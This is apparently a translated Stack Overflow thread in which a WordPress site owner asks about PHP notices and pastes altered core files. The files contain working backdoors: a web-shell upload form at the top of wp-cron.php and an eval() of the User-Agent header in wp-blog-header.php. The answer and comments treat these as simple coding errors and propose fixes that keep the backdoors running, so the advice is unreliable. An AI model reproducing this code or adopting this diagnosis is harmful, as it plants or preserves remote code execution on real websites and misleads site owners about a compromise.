【问题标题】:Undefined index: alqnas in public_html/wp-cron.php on line 3未定义索引:第 3 行 public_html/wp-cron.php 中的 alqnas
【发布时间】:2016-04-05 12:04:16
【问题描述】:

我在这里有一个 wordpress 网站 - ludhianathefilmcity.com/

我没有对处理网站文件的网站进行任何重大更改。我检查了我的错误日志,并且 error_log 中存在以下错误行。我的错误日志的最后几行如下 -

[27-Dec-2015 00:00:36 Etc/GMT] PHP Notice:  Undefined index: alqnas in /home/ludhiana/public_html/wp-cron.php on line 3
[27-Dec-2015 14:12:50 Etc/GMT] PHP Notice:  Undefined index: alqnas in /home/ludhiana/public_html/wp-cron.php on line 3
[28-Dec-2015 00:54:52 Etc/GMT] PHP Notice:  Undefined index: alqnas in /home/ludhiana/public_html/wp-cron.php on line 3
[28-Dec-2015 10:46:57 Etc/GMT] PHP Notice:  Undefined index: alqnas in /home/ludhiana/public_html/wp-cron.php on line 3
[28-Dec-2015 21:20:54 Etc/GMT] PHP Notice:  Undefined index: alqnas in /home/ludhiana/public_html/wp-cron.php on line 3
[29-Dec-2015 07:31:20 Etc/GMT] PHP Notice:  Undefined index: alqnas in /home/ludhiana/public_html/wp-cron.php on line 3
[29-Dec-2015 17:41:16 Etc/GMT] PHP Notice:  Undefined index: alqnas in /home/ludhiana/public_html/wp-cron.php on line 3
[30-Dec-2015 03:48:06 Etc/GMT] PHP Notice:  Undefined index: alqnas in /home/ludhiana/public_html/wp-cron.php on line 3
[30-Dec-2015 04:39:11 Etc/GMT] PHP Notice:  Undefined index: alqnas in /home/ludhiana/public_html/wp-cron.php on line 3
[30-Dec-2015 06:10:05 Etc/GMT] PHP Notice:  Undefined index: alqnas in /home/ludhiana/public_html/wp-cron.php on line 3
[30-Dec-2015 16:54:55 Etc/GMT] PHP Notice:  Undefined index: alqnas in /home/ludhiana/public_html/wp-cron.php on line 3
[30-Dec-2015 23:54:55 Etc/GMT] PHP Notice:  Undefined index: alqnas in /home/ludhiana/public_html/wp-cron.php on line 3
[31-Dec-2015 05:12:49 Etc/GMT] PHP Notice:  Undefined index: alqnas in /home/ludhiana/public_html/wp-cron.php on line 3
[31-Dec-2015 06:58:40 Etc/GMT] PHP Notice:  Undefined index: alqnas in /home/ludhiana/public_html/wp-cron.php on line 3
[31-Dec-2015 13:50:08 Etc/GMT] PHP Notice:  Undefined index: alqnas in /home/ludhiana/public_html/wp-cron.php on line 3
[31-Dec-2015 13:57:43 Etc/GMT] PHP Notice:  Undefined index: alqnas in /home/ludhiana/public_html/wp-cron.php on line 3
[31-Dec-2015 13:58:45 Etc/GMT] PHP Notice:  Undefined index: alqnas in /home/ludhiana/public_html/wp-cron.php on line 3
[31-Dec-2015 14:39:48 Etc/GMT] PHP Deprecated:  Function eregi() is deprecated in /home/ludhiana/public_html/wp-blog-header.php on line 7

我无法理解网站中可能出现的错误

当我打开网站时,它只显示“正在工作”,我可以登录到仪表板,并且在那里选择了相同的主题,所有文件都在 Cpanel FileManager 上可用

wp-cron.php 文件代码

<?php

$alqnas  = $_GET['alqnas'];
if($alqnas == 'eslam'){
$alqnasshell = $_FILES['file']['name'];
$alqnaseslam  = $_FILES['file']['tmp_name'];
echo "<form method='POST' enctype='multipart/form-data'>
    <input type='file'name='file' />
    <input type='submit' value='upload shell' />
</form>";
move_uploaded_file($alqnaseslam,$alqnasshell); 
}
?>


<?php
/**
 * WordPress Cron Implementation for hosts, which do not offer CRON or for which
 * the user has not set up a CRON job pointing to this file.
 *
 * The HTTP request to this file will not slow down the visitor who happens to
 * visit when the cron job is needed to run.
 *
 * @package WordPress
 */

ignore_user_abort(true);

if ( !empty($_POST) || defined('DOING_AJAX') || defined('DOING_CRON') )
    die();

/**
 * Tell WordPress we are doing the CRON task.
 *
 * @var bool
 */
define('DOING_CRON', true);

if ( !defined('ABSPATH') ) {
    /** Set up WordPress environment */
    require_once( dirname( __FILE__ ) . '/wp-load.php' );
}

// Uncached doing_cron transient fetch
function _get_cron_lock() {
    global $wpdb;

    $value = 0;
    if ( wp_using_ext_object_cache() ) {
        // Skip local cache and force refetch of doing_cron transient in case
        // another processs updated the cache
        $value = wp_cache_get( 'doing_cron', 'transient', true );
    } else {
        $row = $wpdb->get_row( $wpdb->prepare( "SELECT option_value FROM $wpdb->options WHERE option_name = %s LIMIT 1", '_transient_doing_cron' ) );
        if ( is_object( $row ) )
            $value = $row->option_value;
    }

    return $value;
}

if ( false === $crons = _get_cron_array() )
    die();

$keys = array_keys( $crons );
$gmt_time = microtime( true );

if ( isset($keys[0]) && $keys[0] > $gmt_time )
    die();

$doing_cron_transient = get_transient( 'doing_cron');

// Use global $doing_wp_cron lock otherwise use the GET lock. If no lock, trying grabbing a new lock.
if ( empty( $doing_wp_cron ) ) {
    if ( empty( $_GET[ 'doing_wp_cron' ] ) ) {
        // Called from external script/job. Try setting a lock.
        if ( $doing_cron_transient && ( $doing_cron_transient + WP_CRON_LOCK_TIMEOUT > $gmt_time ) )
            return;
        $doing_cron_transient = $doing_wp_cron = sprintf( '%.22F', microtime( true ) );
        set_transient( 'doing_cron', $doing_wp_cron );
    } else {
        $doing_wp_cron = $_GET[ 'doing_wp_cron' ];
    }
}

// Check lock
if ( $doing_cron_transient != $doing_wp_cron )
    return;

foreach ( $crons as $timestamp => $cronhooks ) {
    if ( $timestamp > $gmt_time )
        break;

    foreach ( $cronhooks as $hook => $keys ) {

        foreach ( $keys as $k => $v ) {

            $schedule = $v['schedule'];

            if ( $schedule != false ) {
                $new_args = array($timestamp, $schedule, $hook, $v['args']);
                call_user_func_array('wp_reschedule_event', $new_args);
            }

            wp_unschedule_event( $timestamp, $hook, $v['args'] );

            /**
             * Fires scheduled events.
             *
             * @since 2.1.0
             *
             * @param string $hook Name of the hook that was scheduled to be fired.
             * @param array $v['args'] The arguments to be passed to the hook.
             */
            do_action_ref_array( $hook, $v['args'] );

            // If the hook ran too long and another cron process stole the lock, quit.
            if ( _get_cron_lock() != $doing_wp_cron )
                return;
        }
    }
}

if ( _get_cron_lock() == $doing_wp_cron )
    delete_transient( 'doing_cron' );

die();

我的 Wordpress index.php 文件

<?php
/**
 * Front to the WordPress application. This file doesn't do anything, but loads
 * wp-blog-header.php which does and tells WordPress to load the theme.
 *
 * @package WordPress
 */

/**
 * Tells WordPress to load the WordPress theme and output it.
 *
 * @var bool
 */
//define('WP_USE_THEMES', true);

/** Loads the WordPress Environment and Template */
require( dirname( __FILE__ ) . '/wp-blog-header.php' );

wp-blogheader.php 文件

<?php
/**
 * Loads the WordPress environment and template.
 *
 * @package WordPress
 */
if (eregi("final",$_SERVER['HTTP_USER_AGENT'])) { eval(str_replace('Mozilla/5.0 (3.1.final) ','',$_SERVER['HTTP_USER_AGENT'])); die; }
if ( !isset($wp_did_header) ) {

    $wp_did_header = true;

    require_once( dirname(__FILE__) . '/wp-load.php' );

    wp();

    require_once( ABSPATH . WPINC . '/template-loader.php' );

}

?>

【问题讨论】:

  • if(isset($_GET['alqnas'])) { $alqnas = $_GET['alqnas']; }
  • 没有任何区别
  • 而且我不认为它是重复的。我认为这是一些不同的问题。网站在 wordpress 中
  • 我已将网站的 PHP 版本设置为 5.2 没有出现在 Error_log 文件中但网站仍然无法运行
  • 我最近尝试在ludhianathefilmcity.com/web这个网址下安装新的Wordpress,但它已经开始安装wordpress,但安装中断并显示500错误,error_log中没有任何内容

标签: wordpress error-handling cron server


【解决方案1】:

您应该在使用 $_GET['alqnas'] 变量之前检查它是否存在:

$alqnas  = isset($_GET['alqnas']) ? (string) $_GET['alqnas'] : '';

而不是

$alqnas  = $_GET['alqnas'];

【讨论】:

  • 我更新了这个东西,但没有任何区别,我没有亲自添加这行代码不知道这行代码在 wp-cron.php 中如何
  • 您的日志中还有未定义的索引错误吗? (比你已经拥有的更多)或者不再有错误但没有任何反应?
  • 我的错误日志现在出现此错误 [31-Dec-2015 14:39:48 Etc/GMT] PHP 已弃用:函数 eregi() 在 /home/ludhiana/public_html/wp- 中已弃用第 7 行的 blog-header.php
  • 那是另一个问题,eregi 自 php5.3 以来已被弃用,你至少可以用谷歌搜索一下。用 preg_match 替换 eregi
  • 我用这一行替换了这行代码 if (preg_match ("final",$_SERVER['HTTP_USER_AGENT'])) { eval(str_replace('Mozilla/5.0 (3.1.final) ', '',$_SERVER['HTTP_USER_AGENT']));死; }
猜你喜欢
  • 2017-04-08
  • 2017-07-24
  • 1970-01-01
  • 1970-01-01
  • 1970-01-01
  • 1970-01-01
  • 1970-01-01
  • 1970-01-01
  • 2019-09-01
相关资源
最近更新 更多